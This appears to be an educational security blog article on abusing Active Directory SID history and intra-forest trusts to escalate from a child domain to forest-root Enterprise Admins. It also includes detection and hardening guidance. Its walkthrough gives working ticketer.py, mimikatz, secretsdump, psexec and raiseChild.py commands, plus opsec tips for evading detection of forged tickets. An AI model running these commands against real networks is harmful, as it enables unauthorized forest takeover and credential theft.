Active Directory Trust Attacks: SID History and Cross-Forest Escalation

Active Directory Trust Attacks: SID History and Cross-Forest Escalation - article cover image Active Directory
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Active Directory rarely lives in a single domain. Organizations grow through mergers, acquisitions, and organizational splits, and they stitch the resulting domains together with trusts and migrate accounts using SID history. Both features are load-bearing for legitimate operations — and both are frequently the seam an attacker pries open to move from a compromised child domain to the forest root, or from one forest into another.

This article walks the two mechanisms that make cross-boundary escalation possible: the sIDHistory attribute, which lets a token carry the SIDs of accounts a user was migrated from, and SID filtering, the control that is *supposed* to strip foreign SIDs at trust boundaries but is disabled between domains of the same forest by design. Understanding when filtering applies — and when it does not — is the difference between a trust boundary that holds and one that is purely cosmetic. We will chain a child-domain compromise all the way to Enterprise Admins.

Attack Prerequisites

The canonical child-to-parent escalation assumes you have already achieved dominance of a child domain and want to reach the forest root. You need:

  • The krbtgt hash of the compromised (child) domain — obtained via DCSync after compromising a child DC or a child Domain Admin.
  • The child domain SID and the forest root domain SID (both readable by any authenticated user via LDAP or lookupsid.py).
  • The target privileged group’s SID in the root domain — typically Enterprise Admins (S-1-5-21-<root>-519) or the root Domain Admins (-512).
  • For cross-forest abuse: a trust relationship whose SID filtering is weakened (SID history enabled on the trust, or a misconfigured/quarantine-disabled external trust), plus foreign ACLs or group memberships to leverage.

How It Works

Every Windows access token is a set of SIDs: the user’s own SID plus the SIDs of every group they belong to. The sIDHistory attribute exists so a migrated account can retain access granted to its *old* SID — when the user logs on, the SIDs in sIDHistory are added to the token exactly as if they were group memberships. A Kerberos TGT carries these SIDs inside the PAC (Privilege Attribute Certificate). If an attacker can forge a PAC — which they can, once they hold a domain’s krbtgt key — they can insert *arbitrary* SIDs into the ExtraSids field of the PAC, and the receiving DC will honor them unless SID filtering removes them.

SID filtering is the control that decides whether foreign SIDs survive a trust hop. The critical fact for attackers: within a single forest, SID filtering is not applied between parent and child domains. The forest is treated as a single trust boundary, so a TGT minted in a child domain that claims membership in the root’s Enterprise Admins group is accepted at the root. This is why the forest — not the domain — is the true AD security boundary. Across *separate* forests, external and forest trusts enable SID filtering (quarantine) by default, stripping SIDs that do not belong to the trusted domain, which is what normally blocks the same trick between organizations.

Cross-forest escalation therefore hinges on where filtering has been relaxed. Trusts configured with SID history enabled (netdom trust ... /enablesidhistory:yes) or TGT delegation allow SIDs or tickets to cross that otherwise would not. Even with filtering intact, attackers exploit *legitimate* cross-forest access: foreign-security-principal ACLs, groups in forest B that contain users from forest A, and Kerberoastable accounts reachable across the trust. The trust itself also has a shared key (the inter-realm trust key) that enables forging inter-realm TGTs.

Vulnerable Code / Configuration

The first thing to check is the trust inventory and, for each trust, whether SID filtering / quarantine is active. On a trusting DC:

# Enumerate trusts and their attributes
Get-ADTrust -Filter * | Select Name, Direction, TrustType, IntraForest, \
  SIDFilteringForestAware, SIDFilteringQuarantined

# netdom view of SID filtering / history on a specific trust:
netdom trust corp.local /domain:partner.local /quarantine
netdom trust corp.local /domain:partner.local /enablesidhistory
PowerShell

A trust with SIDFilteringQuarantined : False on an *external* trust — or /enablesidhistory:Yes — is the weak configuration that lets foreign privileged SIDs through. Intra-forest trusts show IntraForest : True and, by design, do not filter, so the child-to-parent path is *always* available once a child is compromised. Second, sIDHistory itself is a normal, replicated attribute; an injected value is the payload:

# A user object carrying an injected/forged SID history entry:
sAMAccountName:  svc-migrated
objectSid:       S-1-5-21-<child>-1105
sIDHistory:      S-1-5-21-<root>-519    # Enterprise Admins of the ROOT domain (!)

# In a forged PAC the same effect is achieved via the ExtraSids field,
# which requires no write to the directory at all - only the krbtgt key.
TEXT

Enumerate the SIDs you need before forging. The root Enterprise Admins SID and the child domain SID are both trivially readable:

# Child domain SID (from any child credential):
lookupsid.py corp.local/lowpriv:'Passw0rd!'@child-dc.child.corp.local 0

# Root domain SID + the Enterprise Admins (-519) group SID:
lookupsid.py corp.local/lowpriv:'Passw0rd!'@root-dc.corp.local 519
Bash

Walkthrough / Exploitation

Assume you have compromised the child domain child.corp.local and dumped its krbtgt hash via DCSync. The goal is Enterprise Admin over the forest root corp.local. Build a Golden Ticket in the child domain, but add the root’s Enterprise Admins SID via ExtraSids. With Impacket’s ticketer.py:

# Forge a child-domain golden ticket that also claims root Enterprise Admins
ticketer.py -nthash <CHILD_KRBTGT_NTHASH> \
  -domain-sid S-1-5-21-<child> \
  -domain child.corp.local \
  -extra-sid S-1-5-21-<root>-519 \
  Administrator

export KRB5CCNAME=Administrator.ccache
Bash

The -extra-sid value is the forest-root Enterprise Admins group. Because the intra-forest trust does not filter it, that ticket is accepted by the *root* domain controller as a member of Enterprise Admins. Use it to DCSync the root domain and pull its krbtgt:

# Use the ExtraSids ticket against the ROOT DC -> full forest compromise
secretsdump.py -k -no-pass root-dc.corp.local -just-dc-user corp.local/krbtgt

# Or drop a shell / run DCSync of a target admin:
psexec.py -k -no-pass root-dc.corp.local
Bash

mimikatz performs the identical forge on Windows, using /sids to inject the ExtraSids. This is handy when operating from a compromised child member host:

kerberos::golden /user:Administrator /domain:child.corp.local \
  /sid:S-1-5-21-<child> \
  /krbtgt:<CHILD_KRBTGT_NTHASH> \
  /sids:S-1-5-21-<root>-519 \
  /ptt

# /sids injects the root Enterprise Admins SID into the PAC ExtraSids.
TEXT

For the fully automated path, Impacket’s raiseChild.py performs the entire child-to-parent escalation — it DCSyncs the child krbtgt, discovers the SIDs, forges the ExtraSids golden ticket, and dumps the parent — in one command:

# End-to-end child -> forest root escalation
raiseChild.py child.corp.local/childadmin:'Passw0rd!'
# -> dumps the forest root Administrator / krbtgt automatically
Bash

For genuine cross-forest movement where filtering is intact, the chain is different: you enumerate what the trust *legitimately* exposes — foreign group memberships, ACLs held by principals in the other forest, and Kerberoastable accounts across the trust — with BloodHound’s cross-domain collection, then abuse those specific grants rather than forging a filtered SID.

Note: The forest is the security boundary, not the domain. A common misconception is that a child domain’s compromise is ‘contained’ — it is not. Any child Domain Admin can reach Enterprise Admins because intra-forest trusts do not filter SIDs. Conversely, do not assume the ExtraSids trick works across a *forest* trust: there SID filtering is on by default and will strip the 519 SID unless the trust has been explicitly weakened.

Opsec: SIDs in the 500-1000 RID range (well-known privileged groups like 519/512) crossing a trust boundary are exactly what SID-filter logging and modern detections look for. Forged golden tickets also often show anomalies — non-existent accounts, mismatched encryption types, or 10-year lifetimes — so prefer realistic ticket parameters and be aware that DCSync from an unexpected host is itself high-signal.

Detection and Defense

Defenses split between trust hardening and detecting forged/abused tickets:

  • Treat the forest as the trust boundary. Do not rely on child-domain isolation for Tier-0 separation; if you need hard isolation, use separate forests with filtered trusts.
  • Enable SID filtering / quarantine on external and forest trusts and never turn on SID history on a trust unless a migration genuinely requires it — then disable it after.
  • Audit sIDHistory for entries pointing at privileged RIDs (519, 512, 518, 516) in other domains; legitimate migrations rarely inject Enterprise/Schema Admins.
  • Alert on DCSync from non-DC hosts (Event 4662 with the DS-Replication-Get-Changes / -All / -In-Filtered-Set extended-right GUIDs) — the payoff step of the whole chain.
  • Watch Event 4769 for service-ticket requests referencing SIDs outside the account’s home domain, and rotate the krbtgt password twice if a golden-ticket compromise is suspected.
  • Roll krbtgt regularly and protect child DCs to Tier-0 standards, since a single child krbtgt is all an attacker needs for the ExtraSids forge.

Real-World Impact

SID history and trust abuse underpin some of the best-documented AD attack research — the ExtraSids child-to-parent technique was popularized by Sean Metcalf and Benjamin Delpy and is baked into mimikatz, Impacket, and BloodHound. In practice, red teams treat any child domain compromise as forest compromise, and incident responders investigating forged-ticket intrusions routinely find injected SID history as a stealthy persistence mechanism that survives password resets on the victim account. Because trusts are established for business reasons and rarely revisited, weakened SID filtering on legacy external trusts remains a recurring cross-organization escalation path years after the trust was created.

Conclusion

SID history and trusts are where AD’s convenience features collide with its security model. The token does not care whether a SID arrived through a legitimate migration or a forged PAC — only SID filtering stands between a foreign privileged SID and acceptance, and inside a forest that filter is intentionally absent. Map every trust, keep SID filtering on where it belongs, never inject SID history casually, protect child DCs as Tier-0, and hunt for DCSync and privileged foreign SIDs. Do that, and the seams between your domains stop being the shortest path to Enterprise Admin.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL